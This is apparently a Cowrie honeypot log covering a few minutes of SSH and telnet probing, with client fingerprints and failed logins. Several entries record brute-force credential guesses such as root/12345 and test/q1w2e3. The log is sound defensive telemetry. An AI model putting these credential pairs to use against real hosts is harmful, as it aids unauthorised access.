{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:07.082282Z","src_ip":"92.118.39.71","session":"62be219fa16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:07.176712Z","src_ip":"92.118.39.71","session":"62be219fa16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:07.462582Z","src_ip":"92.118.39.71","session":"62be219fa16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:08.560674Z","src_ip":"92.118.39.71","session":"62be219fa16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":59792,"dst_ip":"10.17.0.5","dst_port":22,"session":"0afbaba2edb7","protocol":"ssh","message":"New connection: 97.74.6.204:59792 (10.17.0.5:22) [session: 0afbaba2edb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:23.078123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:23.085097Z","src_ip":"97.74.6.204","session":"0afbaba2edb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:23.150114Z","src_ip":"97.74.6.204","session":"0afbaba2edb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"barry","password":"GBTC#B!tc0!n$M@st3r","message":"login attempt [barry/GBTC#B!tc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:23.345740Z","src_ip":"97.74.6.204","session":"0afbaba2edb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:24.414743Z","src_ip":"97.74.6.204","session":"0afbaba2edb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":44934,"dst_ip":"159.203.135.109","dst_port":22,"session":"27676b7f1bfd","protocol":"ssh","message":"New connection: 181.116.220.251:44934 (159.203.135.109:22) [session: 27676b7f1bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:33.711144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:33.714747Z","src_ip":"181.116.220.251","session":"27676b7f1bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:33.869948Z","src_ip":"181.116.220.251","session":"27676b7f1bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:34.524076Z","src_ip":"181.116.220.251","session":"27676b7f1bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:35.681951Z","src_ip":"181.116.220.251","session":"27676b7f1bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.43444800376892,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:37.836239Z","src_ip":"170.64.224.25","session":"7bcacb31544e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00184869766235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:39.234404Z","src_ip":"170.64.224.25","session":"893b0b4273f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.50.65.62","src_port":35472,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df2ec97cc5a","protocol":"telnet","message":"New connection: 68.50.65.62:35472 (159.203.135.109:23) [session: 4df2ec97cc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:43.049460Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":44620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e0a6a2f45bd","protocol":"ssh","message":"New connection: 213.21.248.43:44620 (159.203.135.109:22) [session: 9e0a6a2f45bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:51.675154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:51.678670Z","src_ip":"213.21.248.43","session":"9e0a6a2f45bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:51.756386Z","src_ip":"213.21.248.43","session":"9e0a6a2f45bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1q2w3e4r","message":"login attempt [user01/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:52.101402Z","src_ip":"213.21.248.43","session":"9e0a6a2f45bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:53.182754Z","src_ip":"213.21.248.43","session":"9e0a6a2f45bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33988,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d3c0f27fbab","protocol":"ssh","message":"New connection: 193.37.70.224:33988 (159.203.135.109:22) [session: 4d3c0f27fbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:54.908382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:54.911854Z","src_ip":"193.37.70.224","session":"4d3c0f27fbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:55.003725Z","src_ip":"193.37.70.224","session":"4d3c0f27fbab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":41802,"dst_ip":"159.203.135.109","dst_port":22,"session":"41929e3fdd45","protocol":"ssh","message":"New connection: 154.221.25.72:41802 (159.203.135.109:22) [session: 41929e3fdd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:55.257869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:55.261006Z","src_ip":"154.221.25.72","session":"41929e3fdd45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"271178","message":"login attempt [root/271178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:55.284557Z","src_ip":"193.37.70.224","session":"4d3c0f27fbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:55.468212Z","src_ip":"154.221.25.72","session":"41929e3fdd45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"123","message":"login attempt [erpnext/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:56.323140Z","src_ip":"154.221.25.72","session":"41929e3fdd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:56.379195Z","src_ip":"193.37.70.224","session":"4d3c0f27fbab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.506298065185547,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:56.555612Z","src_ip":"68.50.65.62","session":"4df2ec97cc5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:42:57.531522Z","src_ip":"154.221.25.72","session":"41929e3fdd45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45540,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2717f729c0","protocol":"telnet","message":"New connection: 170.64.224.25:45540 (159.203.135.109:23) [session: 5f2717f729c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:00.501980Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2aebb68c78","protocol":"ssh","message":"New connection: 91.92.40.4:40448 (10.17.0.5:22) [session: 4c2aebb68c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:02.080276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:02.087560Z","src_ip":"91.92.40.4","session":"4c2aebb68c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:02.168626Z","src_ip":"91.92.40.4","session":"4c2aebb68c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"q1w2e3","message":"login attempt [test/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:02.414980Z","src_ip":"91.92.40.4","session":"4c2aebb68c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:03.498609Z","src_ip":"91.92.40.4","session":"4c2aebb68c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":53924,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb8cbb0624a","protocol":"ssh","message":"New connection: 162.241.132.172:53924 (159.203.135.109:22) [session: ffb8cbb0624a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.050958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.054196Z","src_ip":"162.241.132.172","session":"ffb8cbb0624a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.082981Z","src_ip":"162.241.132.172","session":"ffb8cbb0624a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kualalumpur_crypto","password":"kualalumpur123","message":"login attempt [kualalumpur_crypto/kualalumpur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.170400Z","src_ip":"162.241.132.172","session":"ffb8cbb0624a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":62252,"dst_ip":"10.17.0.5","dst_port":22,"session":"64eaed8a0e25","protocol":"ssh","message":"New connection: 176.53.159.196:62252 (10.17.0.5:22) [session: 64eaed8a0e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.821861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.825098Z","src_ip":"176.53.159.196","session":"64eaed8a0e25","protocol":"ssh"}
